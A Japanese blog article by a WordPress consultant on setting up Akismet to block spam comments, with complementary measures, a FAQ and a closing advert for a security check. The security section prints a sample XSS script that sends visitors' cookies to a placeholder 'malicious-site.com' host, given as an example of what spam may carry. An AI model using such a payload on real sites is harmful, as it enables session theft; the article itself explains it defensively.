2025年11月15日

2025年11月15日

Akismetでスパムコメントをブロックする方法

1日500件のスパムコメントが、サイトを破壊した

クライアントから、切羽詰まった声で連絡が入った。「ブログが重すぎて、記事が開かないんです」

アクセスしてみると、確かに異常に遅い。サーバーを確認すると、データベースのサイズが10GBを超えていた。本来なら1GB程度のはずだ。何が起きているのか。

wp_comments テーブルを見て、愕然とした。コメント数が50万件を超えている。そのほとんどがスパム。カジノの広告、出会い系サイトへのリンク、意味不明な英語の羅列。これが何ヶ月も放置されていて、データベースを肥大化させていたんだ。

しかも、このスパムコメントの一部は、記事に表示されていた。SEO対策に悪影響があるだけじゃなく、訪問者からの信頼も失っている。Googleからは「不自然なリンク」として警告が来ていた。

スパムコメントは、放置すると取り返しのつかない被害になる。

このクライアントは、コメント機能を有効にしていたけど、スパム対策をまったくしていなかった。Akismetというプラグインがあることすら知らなかったんだ。

この記事では、AkismetでスパムコメントをブロックするWordPressプラグインの設定方法と、効果的な運用のコツを解説する。スパムに悩んでいる人も、これから対策を始める人も、最後まで読んでほしい。

なぜスパムコメントは危険なのか

データベースの肥大化とパフォーマンスの低下

スパムコメントが蓄積すると、まずデータベースが巨大化する。WordPressのコメントは、すべて wp_comments テーブルに保存される。スパムが数万件も溜まると、このテーブルが膨れ上がって、サイト全体のパフォーマンスが低下するんだ。

記事を表示する時、WordPressはコメントも一緒に読み込む。コメントが多ければ多いほど、データベースへのクエリが重くなる。ページの表示速度が遅くなり、訪問者はイライラする。そして、離脱率が上がる。

僕が見たケースでは、スパムコメントが原因でサイトのレスポンスタイムが5秒以上になっていた。現代のウェブでは、3秒でも長すぎる。訪問者の半分以上が、ページが開く前に諦めて去っていたんだ。

さらに深刻なのは、データベースのバックアップにも影響が出ることだ。10GBのデータベースをバックアップするには、時間もサーバーリソースも大量に必要になる。レンタルサーバーによっては、容量制限に引っかかってバックアップが失敗することもある。実際、あるクライアントは、スパムのせいでバックアップが取れなくなり、重要なデータを失うリスクを抱えていた。

SEOへの悪影響

スパムコメントには、外部サイトへのリンクが含まれていることが多い。カジノサイト、出会い系サイト、怪しい薬の販売サイト。こういったリンクが記事に表示されると、Googleはあなたのサイトを「低品質なリンクを持つサイト」と判断する可能性がある。

検索順位が下がる。最悪の場合、ペナルティを受けてインデックスから削除される。何年もかけて築いてきたSEO評価が、スパムコメントのせいで台無しになることもあるんだ。

実際、スパムコメントを放置していたブログが、Googleから「不自然なリンクパターン」という警告を受けた事例を何度も見てきた。警告を受けた後、順位が急落して、トラフィックが80%減少したサイトもあった。

セキュリティリスク

スパムコメントの中には、悪意のあるスクリプトが含まれていることもある。XSS(クロスサイトスクリプティング)攻撃の一種だ。

<!-- スパムコメントに含まれる悪意のあるスクリプト例 -->
<script>
document.location='http://malicious-site.com/steal.php?cookie='+document.cookie;
</script>

このようなコメントが承認されて表示されると、訪問者のブラウザでスクリプトが実行される。クッキーが盗まれたり、フィッシングサイトに誘導されたりする危険性があるんだ。

WordPressは、デフォルトでコメント内の一部のHTMLタグをサニタイズ(無害化)するけど、完璧じゃない。巧妙に作られたスパムは、フィルターをすり抜けることがある。

ブランドイメージの低下

あなたのブログの記事に、こんなコメントが並んでいたらどう思う?

「最高のカジノはこちら!今すぐ登録で1000ドルボーナス!」
「出会い系サイトで素敵な女性と出会おう!」
「安いバイアグラを販売中!」

訪問者は、あなたのサイトを「管理されていない放置サイト」と判断する。信頼を失い、二度と訪れなくなる。特に、企業サイトや専門的な情報を発信しているブログでは、この影響は致命的だ。

僕がコンサルティングしたクライアントの中には、スパムコメントのせいで「このサイトは信頼できない」という口コミを書かれた事例もあった。たった数十件のスパムコメントが、何年もかけて築いた信頼を一瞬で破壊したんだ。

Akismetとは何か - WordPressの標準スパム対策

Akismetの仕組み

Akismetは、WordPress.comの開発元であるAutomattic社が提供しているスパムフィルタープラグインだ。WordPressには最初からインストールされている(有効化はされていない)。

Akismetの仕組みは、機械学習ベースだ。世界中のWordPressサイトから収集された何億ものスパムデータを学習して、新しいコメントがスパムかどうかを判定する。

コメントが投稿されると、Akismetは以下の情報をチェックする:

  • コメントの内容(本文、リンクの数、キーワード)
  • 投稿者の情報(名前、メールアドレス、ウェブサイトURL)
  • IPアドレスとユーザーエージェント
  • 投稿のタイミングと頻度

これらの情報を総合的に分析して、スパムかどうかを判定するんだ。判定精度は非常に高く、99%以上のスパムを正確にブロックすると言われている。

Akismetの3つの動作モード

Akismetには、スパムの処理方法に応じて、実質的に3つの動作モードがある。

1. スパムフォルダに移動

これがデフォルトの動作だ。スパムと判定されたコメントは、自動的に「スパム」フォルダに移動される。削除されるわけじゃないから、誤検知があった場合でも復旧できる。

スパムフォルダのコメントは、15日後に自動削除される。これで、データベースの肥大化を防げるんだ。

2. 完全削除(設定により可能)

確実にスパムだと判定されたコメントを、スパムフォルダを経由せずに完全削除することもできる。これは、設定で「最も悪質なスパムを削除する」を有効にした場合の動作だ。

ただし、誤検知のリスクもあるから、この設定は慎重に使うべきだ。

3. 保留状態で通知

スパムかどうか判断が難しいコメントは、保留状態にして管理者に通知することもできる。これは、厳密にはAkismetの機能じゃなく、WordPressのコメント承認機能との組み合わせだ。

Akismetの無料版と有料版

Akismetには、無料版と有料版がある。

無料版(Personal)

個人のブログや、商用利用のないサイトで使える。機能は有料版と同じだけど、サポートは限定的だ。

無料版でも、スパムフィルタリングの精度は有料版と変わらない。何十万件のスパムをブロックできる能力がある。ただし、問題が発生した時のサポートは、コミュニティフォーラムに頼ることになる。

有料版

  • Plus: 月額5ドル(約500円)。個人サイトで商用利用がある場合。1サイトまで。
  • Enterprise: 月額50ドル(約5,000円)。企業サイトや、複数サイトで利用する場合。優先サポート付き。最大10サイト。

有料版の最大のメリットは、優先サポートだ。何か問題があった時に、専門チームが直接対応してくれる。企業サイトや、ダウンタイムが許されないサイトでは、この安心感は大きい。

商用利用の定義は、Automattic社のポリシーによる。広告を掲載している、商品を販売している、企業のサイトである、などが商用利用に該当する。

正直に言うと、個人ブログでも広告を貼っているなら、有料版を使うべきだ。無料版を商用サイトで使うのは、ライセンス違反になる可能性がある。年間60ドル(約6,000円)は、スパム被害のリスクを考えれば安い投資だと思う。

Akismetの設定方法 - ステップバイステップ

ステップ1: Akismet.comでAPIキーを取得

Akismetを使うには、まずAPIキーを取得する必要がある。

  1. Akismet.comにアクセス
    https://akismet.com/ を開く
  2. 「Get an Akismet API key」をクリック
    トップページにあるボタンから、アカウント作成画面に進む
  3. プランを選択
  • Personal(個人・非商用)
  • Plus(個人・商用)
  • Enterprise(企業・複数サイト)
  1. メールアドレスとパスワードを入力
    WordPressアカウントを持っていれば、そのアカウントでログインできる
  2. 支払い情報を入力(有料プランの場合)
    クレジットカード情報を入力する。Personalプランの場合、スライダーを左端に動かすと$0になる(寄付は任意)
  3. APIキーを取得
    登録が完了すると、APIキーが表示される。これをコピーしておく
例: 1234567890ab

このAPIキーは、あなたのサイトとAkismetのサーバーを紐付けるために必要だ。絶対に他人に教えないように。

ステップ2: WordPressでAkismetを有効化

次に、WordPress側でAkismetプラグインを有効化する。

  1. 管理画面にログイン
    WordPress管理画面にログインする
  2. プラグインページを開く
    左メニューの「プラグイン」→「インストール済みプラグイン」をクリック
  3. Akismetを探す
    リストの中から「Akismet Anti-spam: Spam Protection」を見つける
  4. 有効化をクリック
    「有効化」ボタンをクリックする
  5. 「Akismetアカウントを設定」をクリック
    有効化すると、画面上部に青いバナーが表示される。「Akismetアカウントを設定」をクリック
  6. APIキーを入力
    先ほど取得したAPIキーを入力して、「APIキーを使って接続する」をクリック

接続が成功すると、「Akismetは現在サイトをスパムから保護しています」というメッセージが表示される。

ステップ3: Akismetの詳細設定

Akismetの基本設定を確認しよう。

  1. 設定ページを開く
    「設定」→「Akismet Anti-spam」をクリック
  2. コメントの処理方法を選択
  • 「スパムフォルダに移動」: デフォルト設定。推奨。
  • 「最も悪質なスパムを削除する」: 確実なスパムを完全削除。データベースを軽く保つことができる。 僕は、「最も悪質なスパムを削除する」にチェックを入れることを勧めている。明らかなスパムは復旧する必要がないからね。
  1. コメントフォームにプライバシー通知を表示 これは、GDPR(EU一般データ保護規則)対応のための設定だ。コメントフォームに、「このサイトはスパムを低減するためにAkismetを使っています」という通知を表示する。 日本のサイトでも、念のため有効にしておくことをおすすめする。
  2. サイトの公開設定 WordPressの「設定」→「表示設定」で、「検索エンジンがサイトをインデックスしないようにする」のチェックが外れているか確認する。Akismetは、公開サイトでないと正常に動作しないことがあるんだ。

ステップ4: 動作確認

設定が完了したら、動作確認をしよう。

  1. テストコメントを投稿 自分のサイトの記事に、テストでコメントを投稿してみる。普通のコメントなら、承認待ちか、即承認される(設定による)。
  2. スパムっぽいコメントで確認 次に、わざとスパムっぽいコメントを投稿してみる。例えば:
   名前: Viagra Sales
   メール: spam@example.com
   ウェブサイト: http://casino-spam-site.com
   コメント: Best casino online! Click here for bonus! http://spam.com

このコメントは、ほぼ確実にスパムと判定される。

  1. 管理画面で確認 「コメント」→「スパム」を開いて、テストコメントがスパムフォルダに入っているか確認する。入っていれば、Akismetが正常に動作している。

これで、基本的な設定は完了だ。

Akismetと組み合わせるべきスパム対策

コメントの承認制

Akismetだけでなく、WordPressの標準機能である「コメントの承認制」も活用しよう。

設定方法

  1. 「設定」→「ディスカッション」を開く
  2. 「コメントの承認」セクションで、以下にチェックを入れる:
  • 「コメントの投稿者の名前とメールアドレスが以前に承認されたコメントのものと一致する場合のみ承認する」

これで、初めてコメントする人のコメントは、すべて承認待ちになる。一度承認した人からの2回目以降のコメントは、自動承認される。

この設定とAkismetを組み合わせると、スパムはAkismetがブロックして、新規のコメントは手動で確認できる。二重のフィルターになるんだ。

reCAPTCHA の導入

Googleが提供するreCAPTCHAを導入すると、ボット(自動投稿プログラム)によるスパムをさらに減らせる。

reCAPTCHA v3 の特徴

reCAPTCHA v3は、ユーザーに「私はロボットではありません」のチェックを要求しない。バックグラウンドでユーザーの行動を分析して、スコアリングする。

導入方法

  1. Google reCAPTCHA のサイトでキーを取得
    https://www.google.com/recaptcha/admin/create
  2. プラグインをインストール
    「Advanced Google reCAPTCHA」や「Invisible reCaptcha」などのプラグインを使う
  3. 取得したキーを設定
    プラグインの設定画面で、Site Key と Secret Key を入力
  4. コメントフォームに適用
    プラグインの設定で、「コメントフォーム」にチェックを入れる

これで、コメントフォームにreCAPTCHA v3が適用される。ボットによるスパムは大幅に減少するはずだ。

コメント欄のリンク制限

スパムコメントには、外部サイトへのリンクが大量に含まれていることが多い。WordPressの設定で、リンクの数を制限できる。

設定方法

  1. 「設定」→「ディスカッション」を開く
  2. 「コメント内に含まれるリンク数」を設定
    デフォルトは2。これを1か0に変更する
「コメント内に含まれるリンクが 1 個以上ある場合は承認待ちにする」

こうすると、リンクを含むコメントはすべて承認待ちになる。スパマーの多くは、複数のリンクを貼るから、これだけでかなり効果がある。

ただし、正当なコメントでも参考URLを貼ることはあるから、承認作業の手間は増える。サイトの性質に応じて、バランスを取ろう。

禁止キーワードの設定

特定のキーワードを含むコメントを自動的にスパム扱いにすることもできる。

設定方法

  1. 「設定」→「ディスカッション」を開く
  2. 「禁止キーワード」のテキストボックスに、キーワードを入力(1行に1つ)
viagra
casino
出会い系
http://suspicious-site.com

これらのキーワードを含むコメントは、自動的にスパムフォルダに送られる。

ただし、誤検知のリスクもある。例えば、「カジノ」という単語を禁止すると、「モンテカルロ法」についての真面目なコメントまでブロックされる可能性がある。慎重に設定しよう。

Honeypot(ハニーポット)の設置

Honeypotは、ボットを罠にかける仕組みだ。人間には見えないフィールドをフォームに追加して、そこに入力があった場合はボットと判定する。

プラグインを使う方法

「WP Armour $2013 Honeypot Anti Spam」や「Antispam Bee」などのプラグインを使うと、簡単にHoneypotを設置できる。

これらのプラグインをAkismetと併用すると、スパム対策はほぼ完璧になる。

よくある質問(FAQ)

Q1: Akismetは本当に無料で使える?

個人の非商用ブログなら、無料で使える。でも、「非商用」の定義が重要だ。

Automattic社の基準では、以下のような場合は商用とみなされる:

  • 広告(Google AdSenseなど)を掲載している
  • アフィリエイトリンクを貼っている
  • 商品やサービスを販売している
  • 企業や組織のサイト
  • 有料の記事やコンテンツを提供している

つまり、ほとんどのブログは「商用」に該当する。だから、正直に言うと、多くの人は有料版を使うべきなんだ。

無料版を商用サイトで使い続けると、ある日突然アカウントが停止される可能性もある。それよりも、月額5ドル(約500円)を払って、安心して使う方がいいと思う。

Q2: Akismetの誤検知が多い場合はどうすればいい?

Akismetの精度は高いけど、完璧じゃない。正当なコメントをスパムと判定することもある。

対処方法

  1. スパムフォルダを定期的にチェック
    週に1回くらい、スパムフォルダを確認する。誤検知があったら、「スパムではない」をクリックして復旧する。
  2. 学習させる
    Akismetは機械学習だから、「スパムではない」をクリックすると、その情報が学習される。同じような誤検知が減っていくんだ。
  3. コメントの承認制と併用
    前述の「承認制」を使えば、誤検知で正当なコメントが消えることを防げる。初回コメントは承認待ちにして、手動で確認すればいい。
  4. サポートに問い合わせ
    有料版を使っている場合、サポートに問い合わせることもできる。誤検知が多い場合、設定を見直してくれることがある。

僕の経験では、誤検知は月に1$301C2件程度。それを考えると、数千件のスパムを自動でブロックしてくれるメリットの方が遥かに大きい。

Q3: スパムが減らない場合、何が原因?

Akismetを導入したのに、スパムが減らない場合、いくつかの原因が考えられる。

1. APIキーが正しく設定されていない

「設定」→「Akismet Anti-spam」を開いて、APIキーの接続状態を確認する。「Akismetは現在サイトをスパムから保護しています」と表示されていればOKだ。

2. プラグインのバージョンが古い

Akismetを最新版に更新する。「プラグイン」→「更新」から確認できる。

3. 他のプラグインとの競合

他のスパム対策プラグインと競合している可能性がある。一時的に他のプラグインを無効化して、Akismetだけで試してみよう。

4. サイトが検索エンジンにインデックスされていない

前述のとおり、Akismetは公開サイトでないと正常に動作しないことがある。「設定」→「表示設定」を確認しよう。

5. 手動スパム(人間が投稿)

Akismetは、ボットによるスパムには強いけど、人間が手動で投稿するスパムには弱い。この場合、reCAPTCHAやコメント承認制と併用する必要がある。

Q4: すでに大量のスパムが溜まっている場合は?

データベースに何万件ものスパムが溜まっている場合、手動で削除するのは現実的じゃない。プラグインを使って一括削除しよう。

Delete All Comments of Website / Database プラグインを使う

  1. プラグインをインストール
    「プラグイン」→「新規追加」で「Delete All Comments」を検索してインストール
  2. 設定を開く
    「ツール」→「Delete All Comments」
  3. スパムコメントだけを選択削除
    「Comment Type」で「Spam」を選択し、「Delete」をクリック

これで、スパムコメントだけを一括削除できる。

注意: 削除は取り消せない。念のため、データベースのバックアップを取ってから実行しよう。

# データベースのバックアップ
$ wp db export backup_before_spam_deletion.sql

Q5: Akismet以外のスパム対策プラグインはある?

Akismet以外にも、スパム対策プラグインはいくつかある。

Antispam Bee

ドイツで開発されたプラグインで、Akismetの代替として人気がある。APIキー不要で使える。EUのプライバシー規制(GDPR)に準拠しているのも特徴だ。

ただし、Akismetほどの精度はない。小規模なブログなら問題ないけど、コメントが多いサイトではAkismetの方が安心だ。

WP Armour

Honeypot(ハニーポット)を使ったスパム対策プラグイン。ボット対策に特化していて、軽量で動作が速い。

Akismetと併用することもできる。

Spam protection, AntiSpam, FireWall by CleanTalk

ロシアで開発されたスパム対策プラグイン。コメントだけじゃなく、登録フォームやコンタクトフォームのスパムにも対応している。

有料プラグインだけど(年間8ドルから)、包括的なスパム対策ができる。

僕の個人的な意見としては、やはりAkismetが最も信頼できる。開発元がWordPress.comと同じAutomattic社だから、WordPressとの統合も完璧だ。迷ったら、Akismetを選んでおけば間違いない。

まとめ:スパム対策は「予防」が最善の策

最初に話したクライアントは、その後、Akismetを導入して、数ヶ月かけてスパムコメントを完全に削除した。データベースのサイズは元に戻り、サイトのパフォーマンスも劇的に改善した。そして何より、Googleのペナルティから回復して、検索トラフィックが戻ってきたんだ。

この記事のポイントをおさらいしよう:

  • スパムコメントは、データベース肥大化、SEO悪化、セキュリティリスクをもたらす
  • Akismetは、WordPressの標準的なスパム対策プラグインで、99%以上の精度
  • APIキーを取得して、プラグインを有効化するだけで使える
  • 商用サイトでは、有料版(月額5ドル$301C)を使うべき
  • コメント承認制、reCAPTCHA、リンク制限と併用すると、さらに効果的
  • すでに大量のスパムが溜まっている場合は、プラグインで一括削除

スパムコメントは、一度溜まり始めると加速度的に増えていく。スパマーは、対策がされていないサイトをターゲットにするからだ。だから、予防が最善の策なんだ。

Akismetの設定は、15分もあればできる。たった15分の作業で、何千、何万ものスパムから解放される。それなのに、多くの人が「あとでやろう」と後回しにして、結局被害を受ける。

もしあなたのサイトで、まだAkismetを設定していないなら、今すぐ設定してほしい。この記事を読み終わったら、すぐに取り掛かろう。未来のあなたが、今日の自分に感謝するはずだ。

スパムとの戦いは終わらない。でも、適切なツールを使えば、戦いを圧倒的に有利に進められる。Akismetは、その最強の武器なんだ。

WordPressのセキュリティ、不安に思っていませんか?

WordPressセキュリティ診断

「自分のサイトは大丈夫だろうか…」
「何から手をつければいいか分からない…」

もしあなたが少しでもそう感じているなら、専門家によるセキュリティ診断を受けてみることを強くお勧めします。

>> WordPressセキュリティ無料診断はこちら

上記のサイトでは、WordPressのプロがあなたのサイトの脆弱性を無料で診断してくれます。問題が見つかれば、具体的な対策方法についてもアドバイスをもらえます。手遅れになる前に、一度プロの目でチェックしてもらい、安心を手に入れましょう。

お気軽にご相談ください

お見積りへ お問い合わせへ